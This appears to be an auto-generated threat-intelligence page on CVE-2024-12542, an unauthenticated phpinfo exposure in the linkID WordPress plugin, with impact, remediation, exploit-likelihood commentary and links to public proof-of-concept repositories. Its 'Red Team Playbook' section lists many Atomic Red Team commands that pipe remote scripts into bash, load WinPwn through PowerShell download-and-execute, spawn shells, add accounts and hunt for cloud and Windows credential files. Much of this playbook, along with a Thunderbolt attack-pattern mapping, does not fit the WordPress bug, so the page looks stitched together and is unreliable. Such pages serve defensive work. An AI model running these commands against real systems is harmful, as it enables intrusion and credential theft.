CVE-2024-12542
Overview
This vulnerability is an authorization bypass due to a missing capability check in the linkID WordPress plugin. The flaw exists in the inclusion of the 'phpinfo' function within the plugin's codebase, which is accessible without verifying user permissions. The affected component is the linkID plugin versions up to and including 0.1.2, specifically the code segment that invokes phpinfo without authentication controls.
Vulnerability Description
The linkID plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 0.1.2. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited.
Impact
An unauthenticated attacker can remotely access detailed server configuration information by invoking the vulnerable phpinfo functionality, which can facilitate further targeted attacks. No authentication or user interaction is required, and the plugin does not need to be activated for exploitation. This exposure can lead to information disclosure of sensitive environment variables and configuration settings, increasing the attack surface and aiding adversaries in reconnaissance and lateral movement. The CVSS vector confirms no privileges or user interaction are necessary (AV:N/AC:L/PR:N/UI:N).
Solution
Users should upgrade the linkID WordPress plugin to a version later than 0.1.2 where the missing capability check has been implemented. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/b2fe5315-37b7-4009-b2e5-909e6b5ed1da for detailed patch instructions and version updates. If immediate upgrade is not feasible, restrict direct access to the vulnerable PHP utility file via web server configuration or disable the plugin until patched.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the linkID plugin for WordPress is primarily characterized by a lack of proper capability checks when executing the 'phpinfo' function. This oversight allows unauthorized users to access sensitive configuration settings and predefined variables stored on the server. The absence of authentication requirements means that even unauthenticated attackers can exploit this vulnerability, leading to potential exposure of critical information. The 'phpinfo' function, which is commonly used for debugging and configuration purposes, can reveal server environment details, including paths, loaded extensions, and server settings, which can be leveraged by attackers to further compromise the system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a simple HTTP request to the vulnerable endpoint that triggers the 'phpinfo' function. Since the plugin does not require activation to be exploited, any site utilizing this plugin is at risk, regardless of its operational state. This ease of access significantly lowers the barrier for attackers, enabling them to gather valuable information without needing advanced skills or extensive resources. Once the attacker has access to the configuration data, they can identify weaknesses in the server setup, such as outdated software versions or misconfigurations, which could be exploited in subsequent attacks.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on WordPress for their web presence. Unauthorized access to server configuration settings can lead to a range of security incidents, including data breaches, unauthorized modifications, and even complete server takeovers. The exposure of sensitive information can also result in reputational damage, loss of customer trust, and potential legal ramifications, especially if personal data is compromised. The financial implications can be severe, with costs associated with incident response, remediation, and potential regulatory fines. Furthermore, the ease of exploitation means that even smaller organizations, which may lack robust security measures, are particularly vulnerable to this threat.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify outdated plugins and configurations that may expose the system to threats. Employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests before they reach the server. Additionally, organizations should ensure that all plugins are kept up to date and remove any that are no longer maintained or necessary. Educating staff about secure coding practices and the importance of capability checks can also contribute to preventing similar vulnerabilities in the future.
In conclusion, the vulnerability in the linkID plugin for WordPress exemplifies the critical importance of thorough security practices in web application development. The potential for unauthorized access to sensitive server information poses significant risks to businesses, making it imperative for organizations to prioritize vulnerability management and implement robust security measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities and protect their digital assets.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-12542, rising by over 20% to place it near the 97th percentile of exploit likelihood. This upward trend, supported by a steady weekly increase, indicates growing attacker interest and potentially expanding exploitation attempts in the wild. Concurrently, new proof-of-concept exploits have surfaced on public repositories, lowering the barrier for threat actors to weaponize this vulnerability. Although the rise is not yet classified as rapid, the convergence of elevated EPSS and accessible exploit code signals an evolving threat landscape that defenders must monitor closely. This development elevates the risk profile of the vulnerability, underscoring an increased probability of unauthorized data exposure incidents targeting WordPress environments running the affected linkID plugin versions.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-12542
linkID <= 0.1.2 - Missing Authorization to Unauthenticated Sensitive Information Exposure
|
RandomRobbieBF | 0 | 0 | 2025-01-10 | View |
|
Nxploited/CVE-2024-12542-PoC
|
Nxploited | 0 | 0 | 2025-02-04 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12542 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/b2fe5315-37b7-4009-b2e5-909e6b5ed1da?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/linkid/trunk/lib/linkid/linkid-sdk-php/util/index.php#L1 |